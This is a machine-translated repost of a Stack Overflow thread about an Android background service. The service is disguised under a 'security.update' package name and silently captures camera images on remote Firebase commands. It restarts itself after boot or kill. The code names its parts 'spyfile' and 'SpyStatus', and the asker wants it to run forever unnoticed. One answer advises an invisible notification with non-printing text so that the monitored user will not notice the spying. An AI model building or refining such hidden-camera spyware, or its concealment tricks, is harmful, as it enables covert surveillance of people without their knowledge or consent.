gpt4 book ai didi

android - Firebase childeventlistener 的后台服务在几分钟后不工作

转载 作者:塔克拉玛干 更新时间:2023-11-01 22:03:20 28 4
gpt4 key购买 nike

我创建了一个服务,我想在不显示前台通知的情况下永远运行。我在 onStartCommand 中有 Firebase 监听器,它会在数据库中的数据发生变化时进行监听。每当数据更改时,它都会执行特定任务,例如。捕获图像

在 Activity 类中没有任何东西,只是我在那里开始服务然后我完成了它。问题是我可以在我的 Samsung J2 设备和 Nexus 5 上看到,只要我从应用程序抽屉中终止应用程序,该服务就会停止。我已经在 BOOT_COMPLETED 和服务 onDestroy 上实现了 Broadcast Receiver,但它在启动时也不起作用。简而言之,我的服务不会永远运行。此外,我不确定 Firebase 监听器是否可以在后台服务中运行。有许多应用程序,例如 whatsapp、hike、Applock,还有许多其他应用程序即使强制关闭也会重新启动。我希望我的应用程序每次都收听 Firebase 数据库。它是纯粹基于服务的应用程序。它没有任何 Activity .下面是代码-

list 文件

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.security.update">

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.WAKE_LOCK" />

<application
android:screenOrientation="portrait"
android:name="android.support.multidex.MultiDexApplication"
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">


<activity
android:name=".ActivityForPermissions"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>


<service android:name="com.security.update.CameraService"
android:enabled="true"
/>

<receiver android:name="com.security.update.ReceiverCall"
android:enabled="true">
<intent-filter>
<action android:name="RESTART_SERVICE" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>

</application>

Activity 类

 public class ActivityForPermissions extends AppCompatActivity {

@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

startService(new Intent(ActivityForPermissions.this,CameraService.class));
finish();
}


@Override
protected void onDestroy() {
super.onDestroy();
}}

接收类

public class ReceiverCall extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {

context.startService(new Intent(context, CameraService.class));;
}

}

服务等级

public class CameraService extends Service
{
//Camera variables
//a surface holder
private SurfaceHolder sHolder;
//a variable to control the camera
private Camera mCamera;
//the camera parameters
private Parameters parameters;
/** Called when the activity is first created. */
private StorageReference mStorageRef;
File spyfile;
FirebaseDatabase database;
public static DatabaseReference RequestRef,SpyStatus;
String devicemodel;

@Override
public void onCreate()
{
super.onCreate();
android.os.Debug.waitForDebugger();
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
devicemodel = android.os.Build.MODEL;
mStorageRef = FirebaseStorage.getInstance().getReference();
database = FirebaseDatabase.getInstance();
RequestRef = database.getReference("CameraRequest");
SpyStatus = database.getReference("SpyStatus");
ListenerForRequestDone();
return START_STICKY;

}

@Override
public void onDestroy() {
super.onDestroy();
Intent intent = new Intent("RESTART_SERVICE");
sendBroadcast(intent);
}

public void ListenerForRequestDone(){
RequestRef.addChildEventListener(new ChildEventListener() {
@Override
public void onChildAdded(DataSnapshot dataSnapshot, String s) {

}

@Override
public void onChildChanged(DataSnapshot dataSnapshot, String s) {
StartImageCapture(1);
}

@Override
public void onChildRemoved(DataSnapshot dataSnapshot) {

}

@Override
public void onChildMoved(DataSnapshot dataSnapshot, String s) {

}

@Override
public void onCancelled(DatabaseError databaseError) {

}
});
}

那里也有类似的问题,例如。 this但是没有合适的答案。

最佳答案

第一个答案:

您的服务正在被终止,因为您可能正在尝试执行 Google/Android 操作系统明确不希望发生的事情。这是从 SDK 文档中截取的内容,然后我将进行解释:

(From Service Lifecycle) Because only a few processes are generally visible to the user, this means that the service should not be killed except in low memory conditions. However, since the user is not directly aware of a background service, in that state it is considered a valid candidate to kill, and you should be prepared for this to happen. In particular, long-running services will be increasingly likely to kill and are guaranteed to be killed (and restarted if appropriate) if they remain started long enough.

你看,他们实际上是在尝试确保用户没有数百个 SpyServices 永久运行、占用资源或其他任何东西。你怎么能避免这种情况?答案就在那里……显示某种类型的通知,即使只是简单地说“服务正在运行”也会防止服务被破坏。当然,如果您实际上是想“监视”用户,那么发出监视服务正在运行的通知并不是一个好主意。如果您想继续使用此模式,请尝试使用“隐形”通知图标和非打印文本。如果用户正在查看通知,他们可能看不到它,或者认为这只是一个小故障。

第二个答案:

切换到更“事件驱动”的设计。我假设您能够捕获“启动时”、“收到调用”和其他消息,因此为指示手机使用情况的事件注册接收器,这样您就可以轻松地将多个 10-15 分钟拼接在一起分割以获得几乎完整的覆盖范围。

我的目标是举办这样的 Activity :

  • 电源连接/断开
  • WiFi 状态变化
  • 屏幕背光开/关和/或屏幕锁定状态已更改。

第三个答案:

看看“绑定(bind)”模式。如果您可以让任何 Activity “绑定(bind)”到该服务,只要它被绑定(bind),它就保证不会被杀死。如果将“START_STICKY”与绑定(bind)模式结合使用,您将能够在绑定(bind)解除后继续运行一段时间。

关于android - Firebase childeventlistener 的后台服务在几分钟后不工作,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/40691306/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com